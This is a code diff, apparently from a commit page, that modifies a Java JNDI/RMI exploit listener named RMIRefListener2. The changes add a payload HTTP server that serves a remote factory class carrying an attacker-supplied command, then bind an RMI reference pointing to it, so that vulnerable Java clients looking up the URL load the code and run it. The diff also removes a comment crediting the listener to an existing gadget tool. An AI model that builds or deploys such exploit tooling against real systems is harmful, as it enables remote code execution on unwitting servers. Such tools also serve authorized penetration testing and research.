99import java .rmi .registry .LocateRegistry ;
1010import java .rmi .registry .Registry ;
1111
12-
13- /**
14- * Generic JRMP listener
15- *
16- * Opens up an JRMP listener that will deliver the specified payload to any
17- * client connecting to it and making a call.
18- *
19- * @author mbechler
20- *
21- */
2212@ SuppressWarnings ( {
2313 "restriction"
2414} )
@@ -39,20 +29,31 @@ public RMIRefListener2(int port, String factoryName, String factoryURL, Object p
3929
4030 public static final void main ( final String [] args ) throws Exception {
4131
42- if ( args .length < 3 ) {
43- System .err .println (RMIRefListener2 .class .getName () + " <port > <factory_name> <factory_url >" );
32+ if ( args .length < 4 ) {
33+ System .err .println (RMIRefListener2 .class .getName () + "<registryHost:registryPort> <PayloadServerPort > <factory_name> <command >" );
4434 System .exit (-1 );
4535 return ;
4636 }
4737
48- Reference reference = new Reference (args [ 1 ],args [ 1 ],args [ 2 ]);
38+ String [] registry = args [0 ].split (":" );
39+ int registryPort = Integer .parseInt (registry [1 ]);
40+ String host = registry [0 ];
41+
42+ int httpServerPort = Integer .parseInt (args [1 ]);
43+ String factoryName = args [2 ];
44+ String factoryURL = "http://" +host +":" +httpServerPort +"/" ;
45+ String command = args [3 ];
46+
47+ Reference reference = new Reference (factoryName , factoryName , factoryURL );
4948 final Object payloadObject = new ReferenceWrapper (reference );
5049
5150 try {
52- int port = Integer .parseInt (args [ 0 ]);
53- System .err .println ("* Opening JRMP listener on " + port );
54- System .err .println ("* URL: rmi://some-host:" +port +"/" +args [1 ]);
55- RMIRefListener2 c = new RMIRefListener2 (port , args [1 ], args [2 ], payloadObject );
51+ PayloadHTTPServer server = new PayloadHTTPServer (httpServerPort , factoryName , command );
52+ server .run ();
53+ System .err .println ("* Opening JRMP listener on " + registryPort );
54+ System .err .println ("* URL: rmi://" +host +":" +registryPort +"/" +factoryName );
55+ System .err .println ("* FactoryURL: " +factoryURL );
56+ RMIRefListener c = new RMIRefListener (registryPort , payloadObject );
5657 c .run ();
5758 }
5859 catch ( Exception e ) {
0 commit comments